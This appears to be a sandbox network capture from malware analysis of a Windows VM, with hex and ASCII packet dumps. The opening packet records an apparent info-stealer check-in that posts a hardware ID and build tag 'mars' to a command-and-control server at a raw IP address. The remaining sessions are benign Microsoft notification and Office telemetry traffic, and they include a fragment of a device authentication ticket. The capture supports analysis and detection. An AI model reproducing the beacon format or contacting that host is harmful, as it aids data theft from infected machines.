Nov 12, 2024 17:09:26.513611078 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFIIEBGCAAECBGCBGCBK Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 49 49 45 42 47 43 41 41 45 43 42 47 43 42 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 32 30 46 44 33 38 41 37 46 39 44 31 35 32 34 37 35 30 30 33 37 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 49 45 42 47 43 41 41 45 43 42 47 43 42 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 49 45 42 47 43 41 41 45 43 42 47 43 42 47 43 42 4b 2d 2d 0d 0a Data Ascii: ------AFIIEBGCAAECBGCBGCBKContent-Disposition: form-data; name="hwid"E20FD38A7F9D1524750037------AFIIEBGCAAECBGCBGCBKContent-Disposition: form-data; name="build"mars------AFIIEBGCAAECBGCBGCBK--
Nov 12, 2024 17:09:26.799604893 CET	210	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:09:26 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49711	40.113.110.67	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:14 UTC	70	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 34 0d 0a 4d 53 2d 43 56 3a 20 63 2f 44 33 35 4d 44 57 6f 30 57 34 45 51 33 51 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 34 32 66 33 37 32 38 36 30 61 38 31 61 61 0d 0a 0d 0a Data Ascii: CNT 1 CON 304MS-CV: c/D35MDWo0W4EQ3Q.1Context: 542f372860a81aa
2024-11-12 16:07:14 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-12 16:07:14 UTC	1083	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 30 0d 0a 4d 53 2d 43 56 3a 20 63 2f 44 33 35 4d 44 57 6f 30 57 34 45 51 33 51 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 34 32 66 33 37 32 38 36 30 61 38 31 61 61 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 42 52 55 64 6a 71 68 38 46 6a 6c 6e 50 4f 32 62 68 52 58 31 6c 41 69 6b 2f 67 74 69 7a 46 34 57 75 2f 44 71 32 33 4a 35 61 71 6d 68 68 6b 56 2f 4e 67 44 6d 6b 46 4d 44 64 4f 57 46 4f 58 36 79 4a 33 2b 32 41 73 2f 30 48 7a 75 50 61 79 2b 34 55 4b 4d 4a 6e 4a 70 56 62 78 2f 69 70 63 77 50 79 61 32 32 61 79 36 2b 43 68 30 70 30 Data Ascii: ATH 2 CON\DEVICE 1060MS-CV: c/D35MDWo0W4EQ3Q.2Context: 542f372860a81aa<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAdBRUdjqh8FjlnPO2bhRX1lAik/gtizF4Wu/Dq23J5aqmhhkV/NgDmkFMDdOWFOX6yJ3+2As/0HzuPay+4UKMJnJpVbx/ipcwPya22ay6+Ch0p0
2024-11-12 16:07:14 UTC	217	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 36 0d 0a 4d 53 2d 43 56 3a 20 63 2f 44 33 35 4d 44 57 6f 30 57 34 45 51 33 51 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 34 32 66 33 37 32 38 36 30 61 38 31 61 61 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 196MS-CV: c/D35MDWo0W4EQ3Q.3Context: 542f372860a81aa<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-12 16:07:14 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-12 16:07:14 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 64 67 51 4a 47 30 42 73 65 6b 69 57 61 2f 33 4e 6e 6b 42 76 57 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: dgQJG0BsekiWa/3NnkBvWA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.6	49712	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:21 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:21 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:21 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Mon, 11 Nov 2024 13:19:38 GMT ETag: "0x8DD02537E74B538" x-ms-request-id: a1588731-601e-000d-094b-342618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160721Z-15869dbbcc6hgzkhhC1DFWgtqs00000007ag000000009gmx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:21 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-12 16:07:21 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-12 16:07:21 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-12 16:07:21 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-12 16:07:21 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-12 16:07:21 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-12 16:07:21 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-12 16:07:22 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-12 16:07:22 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-12 16:07:22 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.6	49713	40.113.110.67	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:23 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 5a 49 33 66 73 4e 52 31 61 55 69 49 32 79 65 64 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 61 36 31 31 36 30 61 66 33 36 33 66 64 32 34 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: ZI3fsNR1aUiI2yed.1Context: 6a61160af363fd24
2024-11-12 16:07:23 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-12 16:07:23 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 5a 49 33 66 73 4e 52 31 61 55 69 49 32 79 65 64 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 61 36 31 31 36 30 61 66 33 36 33 66 64 32 34 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 42 52 55 64 6a 71 68 38 46 6a 6c 6e 50 4f 32 62 68 52 58 31 6c 41 69 6b 2f 67 74 69 7a 46 34 57 75 2f 44 71 32 33 4a 35 61 71 6d 68 68 6b 56 2f 4e 67 44 6d 6b 46 4d 44 64 4f 57 46 4f 58 36 79 4a 33 2b 32 41 73 2f 30 48 7a 75 50 61 79 2b 34 55 4b 4d 4a 6e 4a 70 56 62 78 2f 69 70 63 77 50 79 61 32 32 61 79 36 2b 43 68 30 70 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: ZI3fsNR1aUiI2yed.2Context: 6a61160af363fd24<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAdBRUdjqh8FjlnPO2bhRX1lAik/gtizF4Wu/Dq23J5aqmhhkV/NgDmkFMDdOWFOX6yJ3+2As/0HzuPay+4UKMJnJpVbx/ipcwPya22ay6+Ch0p
2024-11-12 16:07:23 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 5a 49 33 66 73 4e 52 31 61 55 69 49 32 79 65 64 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 61 36 31 31 36 30 61 66 33 36 33 66 64 32 34 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: ZI3fsNR1aUiI2yed.3Context: 6a61160af363fd24<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-12 16:07:23 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-12 16:07:23 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 35 75 71 41 6f 52 4a 71 6e 6b 71 59 4c 38 65 33 7a 35 63 5a 66 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 5uqAoRJqnkqYL8e3z5cZfA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.6	49719	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:23 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
